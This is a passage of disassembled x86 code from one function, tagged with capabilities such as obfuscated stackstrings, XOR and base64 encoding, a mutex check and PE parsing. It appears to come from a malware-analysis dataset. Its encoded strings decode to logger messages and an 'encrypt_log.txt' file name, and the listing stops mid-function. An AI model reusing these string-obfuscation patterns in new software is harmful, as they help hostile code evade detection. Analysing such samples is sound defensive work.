Function at 0x4281d0
Capabilities:
Authenticate hmac
Check mutex on windows
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xffffffc0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b249a
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x2c
mov eax, 0x11f4
call fcn.0048b040
mov eax, dword [0x4e1654]
xor eax, ebp
mov dword [ebp - 0x44], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebx + 8]
mov dword [ebp - 0xf08], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0xf18], eax
mov dword [ebp - 0xf10], eax
mov dword [ebp - 0x80], 0x46
mov eax, dword [ebp - 0x80]
xor al, 0x53
mov dword [ebp - 4], 0
mov byte [ebp - 0x7c], al
mov eax, dword [ebp - 0x80]
inc al
xor al, 0x74
mov byte [ebp - 0x7b], al
mov eax, dword [ebp - 0x80]
add al, 2
xor al, 0x61
mov byte [ebp - 0x7a], al
mov eax, dword [ebp - 0x80]
add al, 3
xor al, 0x72
mov byte [ebp - 0x79], al
mov eax, dword [ebp - 0x80]
add al, 4
xor al, 0x74
mov byte [ebp - 0x78], al
mov eax, dword [ebp - 0x80]
add al, 5
xor al, 0x69
mov byte [ebp - 0x77], al
mov eax, dword [ebp - 0x80]
add al, 6
xor al, 0x6e
mov byte [ebp - 0x76], al
mov eax, dword [ebp - 0x80]
add al, 7
xor al, 0x67
mov byte [ebp - 0x75], al
mov eax, dword [ebp - 0x80]
add al, 8
xor al, 0x20
mov byte [ebp - 0x74], al
mov eax, dword [ebp - 0x80]
add al, 9
xor al, 0x74
mov byte [ebp - 0x73], al
mov eax, dword [ebp - 0x80]
add al, 0xa
xor al, 0x68
mov byte [ebp - 0x72], al
mov eax, dword [ebp - 0x80]
add al, 0xb
xor al, 0x65
mov byte [ebp - 0x71], al
mov eax, dword [ebp - 0x80]
add al, 0xc
xor al, 0x20
mov byte [ebp - 0x70], al
mov eax, dword [ebp - 0x80]
add al, 0xd
xor al, 0x6d
mov byte [ebp - 0x6f], al
mov eax, dword [ebp - 0x80]
add al, 0xe
xor al, 0x61
mov byte [ebp - 0x6e], al
mov eax, dword [ebp - 0x80]
add al, 0xf
xor al, 0x69
mov byte [ebp - 0x6d], al
mov eax, dword [ebp - 0x80]
add al, 0x10
xor al, 0x6e
mov byte [ebp - 0x6c], al
mov eax, dword [ebp - 0x80]
add al, 0x11
xor al, 0x20
mov byte [ebp - 0x6b], al
mov eax, dword [ebp - 0x80]
add al, 0x12
xor al, 0x6c
mov byte [ebp - 0x6a], al
mov eax, dword [ebp - 0x80]
add al, 0x13
xor al, 0x6f
mov byte [ebp - 0x69], al
mov eax, dword [ebp - 0x80]
add al, 0x14
xor al, 0x67
mov byte [ebp - 0x68], al
mov eax, dword [ebp - 0x80]
add al, 0x15
xor al, 0x69
mov byte [ebp - 0x67], al
mov eax, dword [ebp - 0x80]
add al, 0x16
mov byte [ebp - 0x65], 0
xor al, 0x63
xor edx, edx
mov byte [ebp - 0x66], al
mov al, byte [ebp - 0x7c]
nop
mov al, byte [ebp + edx - 0x7c]
mov ecx, dword [ebp - 0x80]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x7c], cl
inc edx
cmp edx, 0x17
jb 0x428330
lea eax, [ebp - 0x7c]
mov byte [ebp - 0x65], 0
mov dword [ebp - 0xfac], eax
mov dword [ebp - 0x11f0], 0x4b99d4
mov dword [ebp - 0x11ec], 3
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x112c], 0
lea eax, [ebp - 0xfac]
mov dword [ebp - 0x1128], 0
movq xmm0, qword [ebp - 0x112c]
xor edx, edx
push eax
mov ecx, dword [ecx + 0x114]
push 3
push 0x4b99d4
push 2
sub esp, 0xc
mov dword [ebp - 0x1124], edx
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.00409cf0
call fcn.00473120
mov byte [ebp - 0x1d0], 0x66
xor ecx, ecx
mov byte [ebp - 0x1cf], 0x78
mov byte [ebp - 0x1ce], 0x75
mov byte [ebp - 0x1cd], 0x75
mov byte [ebp - 0x1cc], 0x68
mov byte [ebp - 0x1cb], 0x71
mov byte [ebp - 0x1ca], 0x77
mov byte [ebp - 0x1c9], 0x4f
mov byte [ebp - 0x1c8], 0x72
mov byte [ebp - 0x1c7], 0x6a
mov byte [ebp - 0x1c6], 0x6a
mov byte [ebp - 0x1c5], 0x68
mov byte [ebp - 0x1c4], 0x75
mov dword [ebp - 0xf1c], eax
mov byte [ebp - 0x1c3], 0
mov al, byte [ebp - 0x1d0]
nop dword [eax]
mov al, byte [ebp + ecx - 0x1d0]
sub al, 3
mov byte [ebp + ecx - 0x1d0], al
inc ecx
cmp ecx, 0xd
jb 0x428430
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x938], 0
mov dword [ebp - 0x928], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x924], 0xf
mov byte [ebp - 0x938], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428474
sub ecx, edx
lea eax, [ebp - 0x1d0]
push ecx
push eax
lea ecx, [ebp - 0x938]
call fcn.0041e970
push 0xc0
mov byte [ebp - 4], 1
call fcn.0048aa51
mov edi, eax
add esp, 4
mov dword [ebp - 0xf04], edi
mov byte [ebp - 4], 2
test edi, edi
je 0x4285fc
xorps xmm0, xmm0
lea eax, [ebp - 0x938]
movq qword [edi], xmm0
lea ecx, [ebp - 0x10b8]
mov dword [edi + 8], 0
mov dword [edi + 4], 1
mov dword [edi + 8], 1
push eax
mov dword [edi], 0x4b9cfc
call fcn.00416ba0
mov dword [edi + 0x10], 0x4b97e0
lea esi, [edi + 0x70]
mov dword [edi + 0x18], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
movups xmm0, xmmword [ebp - 0x10b8]
push 2
push esi
movups xmmword [edi + 0x18], xmm0
movq xmm0, qword [ebp - 0x10a8]
movq qword [edi + 0x28], xmm0
mov dword [ebp - 0x10a8], 0
mov dword [ebp - 0x10a4], 0xf
mov byte [ebp - 0x10b8], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 2
mov dword [edi + 0x40], 6
mov dword [edi + 0x6c], 0
call fcn.004741f0
mov byte [esi + 0x30], 0
add esp, 8
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
mov edx, dword [ebp - 0x10a4]
cmp edx, 0x10
jb 0x4285df
mov ecx, dword [ebp - 0x10b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4285d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ebed
push edx
push ecx
call fcn.0048aa81
add esp, 8
mov dword [ebp - 0x10a8], 0
mov dword [ebp - 0x10a4], 0xf
mov byte [ebp - 0x10b8], 0
jmp 0x4285fe
xor edi, edi
lea eax, [edi + 0x10]
mov dword [ebp - 0xf34], edi
mov dword [ebp - 0xf38], eax
mov ecx, dword [ebp - 0xf1c]
mov byte [ebp - 4], 3
call fcn.00473520
test al, al
je 0x4288ce
mov dword [ebp - 0x64], 0x4c
mov eax, dword [ebp - 0x64]
xor al, 0x4f
mov byte [ebp - 0x60], al
mov eax, dword [ebp - 0x64]
inc al
xor al, 0x75
mov byte [ebp - 0x5f], al
mov eax, dword [ebp - 0x64]
add al, 2
xor al, 0x74
mov byte [ebp - 0x5e], al
mov eax, dword [ebp - 0x64]
add al, 3
xor al, 0x70
mov byte [ebp - 0x5d], al
mov eax, dword [ebp - 0x64]
add al, 4
xor al, 0x75
mov byte [ebp - 0x5c], al
mov eax, dword [ebp - 0x64]
add al, 5
xor al, 0x74
mov byte [ebp - 0x5b], al
mov eax, dword [ebp - 0x64]
add al, 6
xor al, 0x20
mov byte [ebp - 0x5a], al
mov eax, dword [ebp - 0x64]
add al, 7
xor al, 0x74
mov byte [ebp - 0x59], al
mov eax, dword [ebp - 0x64]
add al, 8
xor al, 0x6f
mov byte [ebp - 0x58], al
mov eax, dword [ebp - 0x64]
add al, 9
xor al, 0x20
mov byte [ebp - 0x57], al
mov eax, dword [ebp - 0x64]
add al, 0xa
xor al, 0x63
mov byte [ebp - 0x56], al
mov eax, dword [ebp - 0x64]
add al, 0xb
xor al, 0x6f
mov byte [ebp - 0x55], al
mov eax, dword [ebp - 0x64]
add al, 0xc
xor al, 0x6e
mov byte [ebp - 0x54], al
mov eax, dword [ebp - 0x64]
add al, 0xd
xor al, 0x73
mov byte [ebp - 0x53], al
mov eax, dword [ebp - 0x64]
add al, 0xe
xor al, 0x6f
mov byte [ebp - 0x52], al
mov eax, dword [ebp - 0x64]
add al, 0xf
xor al, 0x6c
mov byte [ebp - 0x51], al
mov eax, dword [ebp - 0x64]
add al, 0x10
xor al, 0x65
mov byte [ebp - 0x50], al
mov eax, dword [ebp - 0x64]
add al, 0x11
xor al, 0x20
mov byte [ebp - 0x4f], al
mov eax, dword [ebp - 0x64]
add al, 0x12
xor al, 0x61
mov byte [ebp - 0x4e], al
mov eax, dword [ebp - 0x64]
add al, 0x13
xor al, 0x63
mov byte [ebp - 0x4d], al
mov eax, dword [ebp - 0x64]
add al, 0x14
xor al, 0x74
mov byte [ebp - 0x4c], al
mov eax, dword [ebp - 0x64]
add al, 0x15
xor al, 0x69
mov byte [ebp - 0x4b], al
mov eax, dword [ebp - 0x64]
add al, 0x16
xor al, 0x76
mov byte [ebp - 0x4a], al
mov eax, dword [ebp - 0x64]
add al, 0x17
xor al, 0x61
mov byte [ebp - 0x49], al
mov eax, dword [ebp - 0x64]
add al, 0x18
xor al, 0x74
mov byte [ebp - 0x48], al
mov eax, dword [ebp - 0x64]
add al, 0x19
xor al, 0x65
mov byte [ebp - 0x47], al
mov eax, dword [ebp - 0x64]
add al, 0x1a
mov byte [ebp - 0x45], 0
xor al, 0x64
xor edx, edx
mov byte [ebp - 0x46], al
mov al, byte [ebp - 0x60]
mov al, byte [ebp + edx - 0x60]
mov ecx, dword [ebp - 0x64]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x60], cl
inc edx
cmp edx, 0x1b
jb 0x428740
lea eax, [ebp - 0x60]
mov byte [ebp - 0x45], 0
mov dword [ebp - 0xfdc], eax
mov dword [ebp - 0x1208], 0x4b99d4
mov dword [ebp - 0x1204], 3
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x1138], 0
lea eax, [ebp - 0xfdc]
mov dword [ebp - 0x1134], 0
movq xmm0, qword [ebp - 0x1138]
xor edx, edx
push eax
mov ecx, dword [ecx + 0x114]
push 3
push 0x4b99d4
push 2
sub esp, 0xc
mov dword [ebp - 0x1130], edx
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.00409cf0
lea eax, [ebp - 0xfa8]
push eax
call fcn.0040b810
add esp, 4
mov ecx, dword [ebp - 0xfa4]
mov edx, dword [ebp - 0xf38]
mov dword [ebp - 0xf30], 0
mov dword [ebp - 0xf2c], 0
test ecx, ecx
je 0x428805
lock inc dword [ecx + 4]
mov ecx, dword [ebp - 0xfa4]
mov eax, dword [ebp - 0xfa8]
mov dword [ebp - 0xf30], eax
mov dword [ebp - 0xf2c], ecx
mov ecx, dword [edx + 0x24]
mov byte [ebp - 4], 5
cmp ecx, dword [edx + 0x28]
je 0x42885b
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov eax, dword [ebp - 0xf30]
mov dword [ecx], eax
mov eax, dword [ebp - 0xf2c]
mov dword [ecx + 4], eax
mov dword [ebp - 0xf30], 0
mov dword [ebp - 0xf2c], 0
add dword [edx + 0x24], 8
jmp 0x42886b
lea eax, [ebp - 0xf30]
push eax
push ecx
lea ecx, [edx + 0x20]
call fcn.004021f0
mov esi, dword [ebp - 0xf2c]
or edi, 0xffffffff
test esi, esi
je 0x42889b
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x42889b
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x42889b
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
mov esi, dword [ebp - 0xfa4]
mov byte [ebp - 4], 3
test esi, esi
je 0x4288d1
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x4288d1
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x4288d1
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
jmp 0x4288d1
or edi, 0xffffffff
mov ecx, dword [ebp - 0xf1c]
call fcn.00473620
test al, al
je 0x429089
mov dword [ebp - 0x1b4], 0x19
mov eax, dword [ebp - 0x1b4]
xor al, 0x4f
mov byte [ebp - 0x1b0], al
mov eax, dword [ebp - 0x1b4]
inc al
xor al, 0x75
mov byte [ebp - 0x1af], al
mov eax, dword [ebp - 0x1b4]
add al, 2
xor al, 0x74
mov byte [ebp - 0x1ae], al
mov eax, dword [ebp - 0x1b4]
add al, 3
xor al, 0x70
mov byte [ebp - 0x1ad], al
mov eax, dword [ebp - 0x1b4]
add al, 4
xor al, 0x75
mov byte [ebp - 0x1ac], al
mov eax, dword [ebp - 0x1b4]
add al, 5
xor al, 0x74
mov byte [ebp - 0x1ab], al
mov eax, dword [ebp - 0x1b4]
add al, 6
xor al, 0x20
mov byte [ebp - 0x1aa], al
mov eax, dword [ebp - 0x1b4]
add al, 7
xor al, 0x74
mov byte [ebp - 0x1a9], al
mov eax, dword [ebp - 0x1b4]
add al, 8
xor al, 0x6f
mov byte [ebp - 0x1a8], al
mov eax, dword [ebp - 0x1b4]
add al, 9
xor al, 0x20
mov byte [ebp - 0x1a7], al
mov eax, dword [ebp - 0x1b4]
add al, 0xa
xor al, 0x66
mov byte [ebp - 0x1a6], al
mov eax, dword [ebp - 0x1b4]
add al, 0xb
xor al, 0x69
mov byte [ebp - 0x1a5], al
mov eax, dword [ebp - 0x1b4]
add al, 0xc
xor al, 0x6c
mov byte [ebp - 0x1a4], al
mov eax, dword [ebp - 0x1b4]
add al, 0xd
xor al, 0x65
mov byte [ebp - 0x1a3], al
mov eax, dword [ebp - 0x1b4]
add al, 0xe
xor al, 0x20
mov byte [ebp - 0x1a2], al
mov eax, dword [ebp - 0x1b4]
add al, 0xf
xor al, 0x61
mov byte [ebp - 0x1a1], al
mov eax, dword [ebp - 0x1b4]
add al, 0x10
xor al, 0x63
mov byte [ebp - 0x1a0], al
mov eax, dword [ebp - 0x1b4]
add al, 0x11
xor al, 0x74
mov byte [ebp - 0x19f], al
mov eax, dword [ebp - 0x1b4]
add al, 0x12
xor al, 0x69
mov byte [ebp - 0x19e], al
mov eax, dword [ebp - 0x1b4]
add al, 0x13
xor al, 0x76
mov byte [ebp - 0x19d], al
mov eax, dword [ebp - 0x1b4]
add al, 0x14
xor al, 0x61
mov byte [ebp - 0x19c], al
mov eax, dword [ebp - 0x1b4]
add al, 0x15
xor al, 0x74
mov byte [ebp - 0x19b], al
mov eax, dword [ebp - 0x1b4]
add al, 0x16
xor al, 0x65
mov byte [ebp - 0x19a], al
mov eax, dword [ebp - 0x1b4]
add al, 0x17
mov byte [ebp - 0x198], 0
xor al, 0x64
xor edx, edx
mov byte [ebp - 0x199], al
mov al, byte [ebp - 0x1b0]
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x1b0]
mov ecx, dword [ebp - 0x1b4]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x1b0], cl
inc edx
cmp edx, 0x18
jb 0x428a80
lea eax, [ebp - 0x1b0]
mov byte [ebp - 0x198], 0
mov dword [ebp - 0xfb0], eax
mov dword [ebp - 0x1190], 0x4b99d4
mov dword [ebp - 0x118c], 3
call fcn.00425d60
mov ecx, eax
mov dword [ebp - 0x1144], 0
lea eax, [ebp - 0xfb0]
mov dword [ebp - 0x1140], 0
movq xmm0, qword [ebp - 0x1144]
xor edx, edx
push eax
mov ecx, dword [ecx + 0x114]
push 3
push 0x4b99d4
push 2
sub esp, 0xc
mov dword [ebp - 0x113c], edx
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], edx
call fcn.00409cf0
mov dword [ebp - 0x364], 0x5a57
mov eax, dword [ebp - 0x364]
xor eax, 0x65
mov word [ebp - 0x360], ax
mov eax, dword [ebp - 0x364]
inc eax
xor eax, 0x6e
mov word [ebp - 0x35e], ax
mov eax, dword [ebp - 0x364]
add eax, 2
xor eax, 0x63
mov word [ebp - 0x35c], ax
mov eax, dword [ebp - 0x364]
add eax, 3
xor eax, 0x72
mov word [ebp - 0x35a], ax
mov eax, dword [ebp - 0x364]
add eax, 4
xor eax, 0x79
mov word [ebp - 0x358], ax
mov eax, dword [ebp - 0x364]
add eax, 5
xor eax, 0x70
mov word [ebp - 0x356], ax
mov eax, dword [ebp - 0x364]
add eax, 6
xor eax, 0x74
mov word [ebp - 0x354], ax
mov eax, dword [ebp - 0x364]
add eax, 7
xor eax, 0x5f
mov word [ebp - 0x352], ax
mov eax, dword [ebp - 0x364]
add eax, 8
xor eax, 0x6c
mov word [ebp - 0x350], ax
mov eax, dword [ebp - 0x364]
add eax, 9
xor eax, 0x6f
mov word [ebp - 0x34e], ax
mov eax, dword [ebp - 0x364]
add eax, 0xa
xor eax, 0x67
mov word [ebp - 0x34c], ax
mov eax, dword [ebp - 0x364]
add eax, 0xb
xor eax, 0x2e
mov word [ebp - 0x34a], ax
mov eax, dword [ebp - 0x364]
add eax, 0xc
xor eax, 0x74
mov word [ebp - 0x348], ax
mov eax, dword [ebp - 0x364]
add eax, 0xd
xor eax, 0x78
mov word [ebp - 0x346], ax
mov eax, dword [ebp - 0x364]
add eax, 0xe
xor eax, 0x74
mov word [ebp - 0x344], ax
xor eax, eax
mov word [ebp - 0x342], ax
xor edx, edx
mov ax, word [ebp - 0x360]
nop dword [eax + eax]
mov ax, word [ebp + edx*2 - 0x360]
mov ecx, dword [ebp - 0x364]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x360], cx
inc edx
cmp edx, 0xf
jb 0x428c50
xor eax, eax
lea ecx, [ebp - 0x360]
mov word [ebp - 0x342], ax
lea edx, [ecx + 2]
mov byte [ebp - 0xf41], al
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x428c90
sub ecx, edx
mov dword [ebp - 0x920], 0
xor eax, eax
sar ecx, 1
mov word [ebp - 0x920], ax
lea eax, [ebp - 0x360]
push ecx
push eax
lea ecx, [ebp - 0x920]
mov dword [ebp - 0x910], 0
mov dword [ebp - 0x90c], 7
call fcn.0041ea60
mov eax, dword [ebp - 0xf08]
mov ecx, eax
mov byte [ebp - 4], 6
mov byte [ebp - 0xf42], 0
cmp dword [eax + 0x14], 8
mov edx, dword [eax + 0x10]
jb 0x428cf7
mov ecx, dword [eax]
push edx
xor eax, eax
mov dword [ebp - 0x760], 0
push ecx
lea ecx, [ebp - 0x760]
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x74c], 7
mov word [ebp - 0x760], ax
call fcn.0041ea60
cmp dword [ebp - 0x74c], 8
lea ecx, [ebp - 0x760]
mov eax, dword [ebp - 0x750]
cmovae ecx, dword [ebp - 0x760]
mov byte [ebp - 4], 7
mov dword [ebp - 0xf0c], ecx
lea esi, [ecx + eax*2]
push esi
push ecx
call fcn.0041d920
add esp, 8
cmp eax, esi
je 0x428da6
movzx ecx, word [eax]
cmp ecx, 0x5c
je 0x428d6d
cmp ecx, 0x2f
jne 0x428d76
add eax, 2
cmp eax, esi
jne 0x428d60
jmp 0x428da6
movzx edx, word [esi - 2]
cmp edx, 0x5c
je 0x428d8d
cmp edx, 0x2f
je 0x428d8d
add esi, 0xfffffffe
cmp eax, esi
jne 0x428d76
jmp 0x428da6
cmp eax, esi
je 0x428da6
movzx edx, word [esi - 2]
cmp edx, 0x5c
je 0x428d9f
cmp edx, 0x2f
jne 0x428da6
add esi, 0xfffffffe
cmp eax, esi
jne 0x428d91
mov eax, dword [ebp - 0xf0c]
xor ecx, ecx
sub esi, eax
mov dword [ebp - 0x908], 0
sar esi, 1
push esi
mov word [ebp - 0x908], cx
lea ecx, [ebp - 0x908]
push eax
mov byte [ebp - 0xf43], 0
mov dword [ebp - 0x8f8], 0
mov dword [ebp - 0x8f4], 7
call fcn.0041ea60
lea eax, [ebp - 0x920]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0xac4]
push eax
call fcn.00419b90
add esp, 0xc
push eax
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 9
call fcn.00416c70
lea ecx, [ebp - 0xac4]
call fcn.00418bf0
mov edx, dword [ebp - 0x8f4]
mov byte [ebp - 4], 0xc
cmp edx, 8
jb 0x428e6b
mov ecx, dword [ebp - 0x908]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x428e61
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ebed
push edx
push ecx
call fcn.0048aa81
add esp, 8
xor eax, eax
mov dword [ebp - 0x8f8], 0
mov dword [ebp - 0x8f4], 7
mov word [ebp - 0x908], ax
mov edx, dword [ebp - 0x74c]
mov byte [ebp - 4], 0xd
cmp edx, 8
jb 0x428ecc
mov ecx, dword [ebp - 0x760]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x428ec2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ebed
push edx
push ecx
call fcn.0048aa81
add esp, 8
xor eax, eax
mov dword [ebp - 0x750], 0
mov dword [ebp - 0x74c], 7
mov word [ebp - 0x760], ax
mov edx, dword [ebp - 0x90c]
mov byte [ebp - 4], 0xe
cmp edx, 8
jb 0x428f2d
mov ecx, dword [ebp - 0x920]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x428f23
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ebed
push edx
push ecx
call fcn.0048aa81
add esp, 8
xor eax, eax
mov dword [ebp - 0x910], 0
push 0x118
mov dword [ebp - 0x90c], 7
mov word [ebp - 0x920], ax
call fcn.0048aa51
mov esi, eax
add esp, 4
mov dword [ebp - 0xf04], esi
test esi, esi
je 0x428fd6
xorps xmm0, xmm0
lea ecx, [esi + 0x10]
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi + 4], 1
mov dword [esi + 8], 1
mov dword [esi], 0x4b9d1c
mov dword [ebp - 0xb44], 0
mov dword [ebp - 0xb1c], 0
mov dword [ebp - 0xaf4], 0
mov dword [ebp - 0xacc], 0
lea eax, [ebp - 0xb68]
mov byte [ebp - 4], 0x10
push eax
push 0
lea eax, [ebp - 0xa7c]
push eax
call fcn.004169f0
lea ecx, [ebp - 0xb68]
call fcn.004195a0
jmp 0x428fd8
xor esi, esi
lea ecx, [esi + 0x10]
mov dword [ebp - 0xf9c], esi
mov dword [ebp - 0xfa0], ecx
mov eax, dword [ebp - 0xf38]
test esi, esi
je 0x429001
lock inc dword [esi + 4]
mov esi, dword [ebp - 0xf9c]
mov ecx, dword [ebp - 0xfa0]
mov dword [ebp - 0x1044], ecx
mov dword [ebp - 0x1040], esi
lea ecx, [ebp - 0x1044]
mov byte [ebp - 4], 0x12
push ecx
lea ecx, [eax + 0x20]
call fcn.00426c20
mov esi, dword [ebp - 0x1040]
test esi, esi
je 0x42904d
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x42904d
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x42904d
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
mov esi, dword [ebp - 0xf9c]
test esi, esi
je 0x42907a
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x42907a
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x42907a
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
lea ecx, [ebp - 0xa7c]
mov byte [ebp - 4], 3
call fcn.00418bf0
mov dword [ebp - 0x5f4], 0x48
xor edx, edx
mov byte [ebp - 0x5f0], 0x1b
mov byte [ebp - 0x5ef], 0x3c
mov byte [ebp - 0x5ee], 0x29
mov byte [ebp - 0x5ed], 0x3a
mov byte [ebp - 0x5ec], 0x3c
mov byte [ebp - 0x5eb], 0x21
mov byte [ebp - 0x5ea], 0x26
mov byte [ebp - 0x5e9], 0x2f
mov byte [ebp - 0x5e8], 0x68
mov byte [ebp - 0x5e7], 0x3c
mov byte [ebp - 0x5e6], 0x20
mov byte [ebp - 0x5e5], 0x2d
mov byte [ebp - 0x5e4], 0x68
mov byte [ebp - 0x5e3], 0x2b
mov byte [ebp - 0x5e2], 0x27
mov byte [ebp - 0x5e1], 0x26
mov byte [ebp - 0x5e0], 0x2e
mov byte [ebp - 0x5df], 0x21
mov byte [ebp - 0x5de], 0x2f
mov byte [ebp - 0x5dd], 0x3d
mov byte [ebp - 0x5dc], 0x3a
mov byte [ebp - 0x5db], 0x2d
mov byte [ebp - 0x5da], 0x68
mov byte [ebp - 0x5d9], 0x27
mov byte [ebp - 0x5d8], 0x2e
mov byte [ebp - 0x5d7], 0x68
mov byte [ebp - 0x5d6], 0x2c
mov byte [ebp - 0x5d5], 0x2d
mov byte [ebp - 0x5d4], 0x2e
mov byte [ebp - 0x5d3], 0x29
mov byte [ebp - 0x5d2], 0x3d
mov byte [ebp - 0x5d1], 0x24
mov byte [ebp - 0x5d0], 0x3c
mov byte [ebp - 0x5cf], 0x68
mov byte [ebp - 0x5ce], 0x24
mov byte [ebp - 0x5cd], 0x27
mov byte [ebp - 0x5cc], 0x2f
mov byte [ebp - 0x5cb], 0x2f
mov byte [ebp - 0x5ca], 0x2d
mov byte [ebp - 0x5c9], 0x3a
mov al, byte [ebp - 0x5f0]
mov byte [ebp - 0x5c8], 0
nop word [eax + eax]
mov al, byte [ebp + edx - 0x5f0]
mov ecx, dword [ebp - 0x5f4]
xor cl, al
mov byte [ebp + edx - 0x5f0], cl
inc edx
cmp edx, 0x28
jb 0x4291c0
lea eax, [ebp - 0x5f0]
mov byte [ebp - 0x5c8], 0
mov dword [ebp - 0xfb4], eax
lea eax, [ebp - 0xfb4]
push eax
sub esp, 8
mov eax, esp
mov dword [eax], 0x4b99d4
mov dword [eax + 4], 3
call fcn.00409870
mov ecx, dword [ebp - 0xf34]
add esp, 0xc
mov dword [ebp - 0xf40], 0
mov dword [ebp - 0xf3c], 0
test ecx, ecx
je 0x429238
lock inc dword [ecx + 4]
mov ecx, dword [ebp - 0xf34]
mov eax, dword [ebp - 0xf38]
mov dword [ebp - 0xf40], eax
mov dword [ebp - 0xf3c], ecx
mov byte [ebp - 4], 0x13
call fcn.00425d60
sub esp, 8
mov esi, eax
mov edx, esp
mov dword [edx], 0
mov dword [edx + 4], 0
mov ecx, dword [ebp - 0xf40]
mov dword [edx], ecx
mov ecx, esi
mov eax, dword [ebp - 0xf3c]
mov dword [edx + 4], eax
mov dword [ebp - 0xf40], 0
mov dword [ebp - 0xf3c], 0
call fcn.004273c0
mov esi, dword [ebp - 0xf3c]
mov byte [ebp - 4], 3
test esi, esi
je 0x4292c4
mov eax, edi
lock xadd dword [esi + 4], eax
jne 0x4292c4
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax]
call eax
mov eax, edi
lock xadd dword [esi + 8], eax
jne 0x4292c4
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
call fcn.00425d60
mov esi, eax
push esi
mov dword [ebp - 0xf0c], esi
call fcn.00474211
add esp, 4
test eax, eax
jne 0x42ebe1
mov esi, dword [esi + 0x94]
mov eax, dword [esi]
cmp eax, esi
je 0x429305
nop
mov edx, dword [eax + 0x20]
mov ecx, 1
add edx, 0x2c
xchg dword [edx], ecx
mov ecx, dword [eax]
mov eax, ecx
cmp ecx, esi
jne 0x4292f0
mov eax, dword [ebp - 0xf0c]
push eax
mov dword [eax + 0xd4], 1
call fcn.00474236
mov byte [ebp - 0x288], 0x5c
add esp, 4
mov byte [ebp - 0x287], 0x26
xor ecx, ecx
mov byte [ebp - 0x286], 0x49
mov byte [ebp - 0x285], 0x3b
mov byte [ebp - 0x284], 0x26
mov byte [ebp - 0x283], 0x4e
mov byte [ebp - 0x282], 0x3b
mov byte [ebp - 0x281], 0x26
mov byte [ebp - 0x280], 0x54
mov byte [ebp - 0x27f], 0x21
mov byte [ebp - 0x27e], 0x26
mov byte [ebp - 0x27d], 0x7b
mov byte [ebp - 0x27c], 0x5e
mov byte [ebp - 0x27b], 0x21
mov byte [ebp - 0x27a], 0x5c
mov byte [ebp - 0x279], 0x26
mov byte [ebp - 0x278], 0x5f
mov byte [ebp - 0x277], 0x2e
mov byte [ebp - 0x276], 0x2e
mov byte [ebp - 0x275], 0x2e
mov byte [ebp - 0x274], 0x26
mov byte [ebp - 0x273], 0x4d
mov byte [ebp - 0x272], 0x2e
